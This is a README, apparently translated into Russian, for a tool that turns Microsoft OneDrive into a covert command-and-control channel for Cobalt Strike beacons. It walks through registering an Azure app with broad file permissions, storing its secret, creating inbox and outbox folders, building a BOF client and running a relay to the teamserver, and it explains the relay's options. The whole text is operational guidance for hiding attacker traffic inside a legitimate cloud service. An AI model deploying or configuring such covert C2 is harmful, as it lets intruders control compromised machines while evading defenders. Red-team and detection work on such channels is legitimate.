
OneDrive как скрытый C2-транспорт для Cobalt Strike
Пользовательский C2-канал Cobalt Strike, использующий OneDrive в качестве транспортного уровня.

Files.ReadWrite.All.В портале Azure перейдите в Регистрация приложений и создайте новое приложение:
Запишите ID арендатора и ID клиента со страницы обзора.
В разделе Разрешения API:
Files.ReadWrite.AllВ разделе Сертификаты и секреты создайте новый секрет и скопируйте его значение.
В OneDrive пользователя создайте две папки: одну для входящих и одну для
исходящих (например, c2inbox и c2outbox).
Откройте Graph Explorer, войдите как этот пользователь и выполните:
GET https://graph.microsoft.com/v1.0/me/drive/root/children
Возьмите id каждой папки и driveId из любой записи в ответе JSON.
cp server/config.json.example server/config.json
Заполните server/config.json:
| Поле | Значение |
|---|---|
tenant_id | ID арендатора Microsoft Entra ID |
client_id | ID клиента приложения |
client_secret | Значение секрета клиента |
drive_id | ID диска OneDrive |
inbox_folder_id | ID папки входящих |
outbox_folder_id | ID папки исходящих |
Затем соберите клиент:
make
Запустите ретранслятор (используйте screen или tmux, чтобы он продолжал работать при отключении терминала):
python3 server/relay.py --config server/config.json --ts-addr <teamserver-ip> --ts-port <udc2-port>
В Cobalt Strike создайте слушатель UDC2 на том же порту и загрузите client/bof.o.
| Флаг | Описание |
|---|---|
--config | Путь к config.json (обязательно) |
--ts-addr | IP Teamserver |
--ts-port | Порт слушателя UDC2 |
--poll | Интервал опроса в секундах (по умолчанию 2.0) |
--state | Путь к файлу состояния (по умолчанию: <config>.state.json) |
--debug | Включить отладочное логирование |
--clean | Удалить файл состояния и каталог spool, затем выйти |
Ретранслятор создаёт несколько файлов рядом с вашим конфигом, чтобы отслеживать состояние между перезапусками:
config.json.state.json) — отслеживает, какие файлы входящих были обработаны, ожидающие загрузки и информацию о сессии beacon. Задайте пользовательский путь с помощью --state.config.json.state.json.spool/) — хранит данные ответов, которые ещё не были загружены в OneDrive. Если ретранслятор аварийно завершится во время загрузки, spool сохранит данные, чтобы повторить попытку при следующем запуске.config.json.state.json.lock) — предотвращает запуск двух экземпляров ретранслятора с одним и тем же состоянием. Если вы видите Another relay holds the lock, а других ретрансляторов не запущено, блокировка устарела после сбоя.Если локальное состояние ретранслятора повреждено или устаревшая блокировка мешает запуску, используйте --clean, чтобы очистить файл состояния и каталог spool, и ретранслятор запустится с чистого листа:
python3 server/relay.py --config server/config.json --clean
Файл блокировки сохраняется. Ретранслятор не будет очищать, пока запущен другой экземпляр. При следующем обычном запуске он повторно инициализируется и пропускает любые файлы входящих старше 30 минут.
Вы также можете сбросить вручную, удалив файл состояния и каталог spool самостоятельно. Если файл блокировки устарел (ретранслятор не запущен), удалите и его.
